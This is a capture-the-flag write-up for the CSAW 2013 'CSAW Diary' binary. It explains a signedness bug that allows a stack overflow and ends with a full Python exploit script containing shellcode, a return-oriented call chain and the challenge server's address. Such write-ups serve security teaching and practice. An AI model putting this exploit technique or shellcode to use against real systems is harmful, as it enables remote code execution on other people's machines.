CSAW 2013: CSAW Diary

nc 128.238.66.217 34266

A 32-bit x86 ELF binary was given for this challenge that was also running on the given server. The binary is not position independent, does not use stack canaries and the stack is executable.

If you connect to it, you receive some fancy ascii art and get a prompt asking for a username and password, which will answer with “Invalid credentials”. So lets take a look at the binary with the disassembler of your choice. The accepted values for username and password are hardcoded:

csaw2013
S1mplePWD (That's Simple with a "1", I wish I would have noticed that more quickly.)

Afterwards you have to put in a number n, followed by n bytes that will be written to a buffer on the stack of size 0x400, but first it is checked if n+1 < 0x400. If you put -1 for n, the binary will read as much data as you like and overflow the buffer. My first idea was, to read the got to find the address of a function in the libc, find the libc base address and dump the whole libc to find the address of system. The final solution was much more easy though, i.e. overwrite the stack with the following data:

padding
address of recv in the plt <- saved return address
address of the data section <- next saved return address
4 <- first param to read (our socket)
address of the data section <- second param (where to read to)
len(shellcode) <- third param (how much to read)
0 <- fourth param (flags)

Afterwards, we send our shellcode, which will be written to the address in the data section and executed. For the shellcode, you can call dup2(4,{0,1,2}) first, in order that the socket will be used std{in,out,err} and call e.g. ‘/bin/cat *’ afterwards.

key{signness_oh_what_a_world_we_live_in}

The final code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python

import sock
import struct

local = False

dup_sc="\x31\xdb\x83\xc3\x04\x31\xc9\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5"

sc="\x60\x6a\x0b\x58\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\xeb\x06\x53\x89\xe1\xcd\x80\x61\xe8\xf5\xff\xff\xff\x6b\x65\x79"

sc = "\x90"*0x80 + dup_sc + sc

def pack(addr):
  return struct.pack("<I", addr)
def unpack(s):
  return struct.unpack("<I", s)[0]

if local:
  host = "localhost"
else:
  host = "128.238.66.217"
port = 34266

recv_plt = 0x8048890

s = sock.Sock(host, port, timeout=3600)

s.read_until("UserName:")
s.send("csaw2013\n")
s.read_until("Password:")
s.send("S1mplePWD\n")
s.read_until("Entry Info:")
s.send("-1\n")
raw_input("--")

writable_addr = 0x804b800
got_addr = 0x804af74
got_read_offset = 16
ebp = pack(writable_addr)
eip = pack(recv_plt)
next_eip = pack(0x804b000)
params = pack(4)
params += pack(0x804b000)
params += pack(len(sc))
params += pack(0)

s.send("A"*0x41c+ebp+eip+next_eip+params)

raw_input("--")
s.send(sc)

result = ""

try:
  while True:
    b = s.read_nbytes(1)
    result += b
except:
  print result